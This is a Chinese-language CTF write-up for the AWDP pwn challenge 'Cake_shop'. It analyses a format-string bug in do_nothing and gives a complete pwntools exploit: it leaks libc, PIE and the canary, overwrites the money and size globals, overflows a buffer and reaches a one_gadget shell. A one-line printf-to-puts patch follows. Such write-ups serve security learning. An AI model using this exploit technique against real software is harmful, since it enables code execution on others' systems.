# Cake_shop ## Information - Category: AWDP Pwn - Points: Unknown ## Description Unknown ## Write-up Kong 师傅分享的题,本来只是抱着试一试的心态,看看能不能做出来的,结果没想到还真 做出来了……决赛题,不过感觉挺简单,如果我在现场的话就拿分了哈哈哈,可惜了,国内赛 事接触太少了。Anyway,还是值得记录一下的。 粗略分析一下,发现 `do_nothing` 里面存在格式化字符串漏洞。由于主菜单无限循环,所 以我们可以无限触发格式化字符串漏洞,感觉这样一来题目难度瞬间就低了好几个档次。 ```c del={10-11} int do_nothing() { char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); puts(s); puts("x1B[33mMaybe it should be thought about in your headx1B[0m"); puts("x1B[33mWhat if it happensx1B[0m"); read(0, buf, 0x28u); return printf(buf); } ``` `chat` 和 `earn_money` 功能没啥用,直接看 `buy`: ```c ins={36-37} __int64 buy() { int choice; // [rsp+8h] [rbp-38h] BYREF int money; // [rsp+Ch] [rbp-34h] _BYTE buf[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v4; // [rsp+38h] [rbp-8h] v4 = __readfsqword(0x28u); puts(s); puts("x1B[33mWe have three kinds of cakes herex1B[0m"); puts("x1B[33m1.Strawberry cake $10x1B[0m"); puts("x1B[33m2.Orange cake $50x1B[0m"); puts("x1B[33m3.Watermelon cake $100x1B[0m"); __isoc99_scanf("%d", &choice); if ( choice == 1 ) { money -= 10; money = money; if ( money < 0 ) puts("x1B[33mYou don't have enough moneyx1B[0m"); } if ( choice == 2 ) { money -= 50; money = money; if ( money < 0 ) puts("x1B[33mYou don't have enough moneyx1B[0m"); } if ( choice == 3 ) { money -= 100; money = money; if ( money < 0 ) puts("x1B[33mYou don't have enough moneyx1B[0m"); } if ( choice != 666 || money != 99999999 ) return 0; puts("x1B[33mBuy the whole cake shopx1B[0m"); read(0, buf, (unsigned int)size); return 0; } ``` 标绿的部分正常情况下是执行不到的,注意到后面还有个 read 函数,感觉有猫腻。因为有 格式化字符串漏洞,我们可以先把程序的几个关键基址算出来,然后再思考如何绕过检测, 执行到最后那个 read 函数。 这里 `choice` 我们可以直接传入 666,所以问题就是 `money` 怎么赋值了。注意到 mone y 在 data 段,`rw-p` 权限,可篡改。 算了下,格式化字符串得写四字节,值是 `0x5f5e0ff`。由于只有几千万字节大小,写起来 不会花多久,所以我一开始做的时候是选择一次性写完的,但听 Kong 师傅说他一次性写完 有问题,于是我就改成一次写两字节了。 最后那个 read 将输入读到四十字节的 buffer 中,但是默认 size 只有 32 字节。不过由 于 size 也保存在 data 段,所以我们同理可以利用 do_nothing 的格式化字符串改写 siz e,溢出返回地址。 ## Exploit ```python #!/usr/bin/env python3 from pwn import ( ELF, args, context, flat, process, raw_input, remote, ) FILE = "./pwn_patched" HOST, PORT = "localhost", 1337 context(log_level="debug", binary=FILE, terminal="kitty") elf = context.binary libc = ELF("./libc.so.6") def buy(choice): target.sendlineafter(b"Please make your choice>>", str(1).encode()) target.sendlineafter(b"$100", str(choice).encode()) def do_nothing(msg): target.sendlineafter(b"Please make your choice>>", str(4).encode()) target.sendlineafter(b"What if it happens", msg) def launch(): global target if args.L: target = process(FILE) else: target = remote(HOST, PORT) def main(): launch() payload = b"%17$p %8$p" do_nothing(payload) target.recvline() response = target.recvline().strip().split() libc.address = int(response[0], 16) - 0x24083 pie = int(response[1], 16) - 0x1570 payload = b"%11$p" do_nothing(payload) target.recvline() canary = int(target.recvline().strip(), 16) money_p1 = pie + 0x4010 money_p2 = money_p1 + 2 money_value_p1 = 0x5F5E0FF & 0xFFFF money_value_p2 = (0x5F5E0FF >> 16) & 0xFFFF read_size = pie + 0x4014 one_gadget = libc.address + 0xE3AFE target.success(f"libc: {hex(libc.address)}") target.success(f"pie: {hex(pie)}") target.success(f"canary: {hex(canary)}") target.success(f"money: {hex(money_p1)}") target.success(f"read_size: {hex(read_size)}") target.success(f"one_gadget: {hex(one_gadget)}") payload = flat( f"aaaa%{money_value_p1 - 0x4}c%8$hn".encode(), money_p1, ) do_nothing(payload) payload = flat( f"aaaaa%{money_value_p2 - 0x5}c%8$hn".encode(), money_p2, ) do_nothing(payload) payload = flat( b"aaaaaa%1337c%8$n", read_size, ) do_nothing(payload) buy(666) # 0x00000000000015cc: pop r12; pop r13; pop r14; pop r15; ret; payload = flat( b"A" * 0x28, canary, b"A" * 0x8, pie + 0x00000000000015CC, 0, 0, 0, 0, one_gadget, ) target.sendline(payload) target.interactive() if __name__ == "__main__": main() ``` ## Patch 直接把 `printf` patch 成 `puts` 就好了,ez ```c ins={11} int do_nothing() { char buf[40]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v2; // [rsp+28h] [rbp-8h] v2 = __readfsqword(0x28u); puts(s); puts("x1B[33mMaybe it should be thought about in your headx1B[0m"); puts("x1B[33mWhat if it happensx1B[0m"); read(0, buf, 0x28u); return puts(buf); } ```






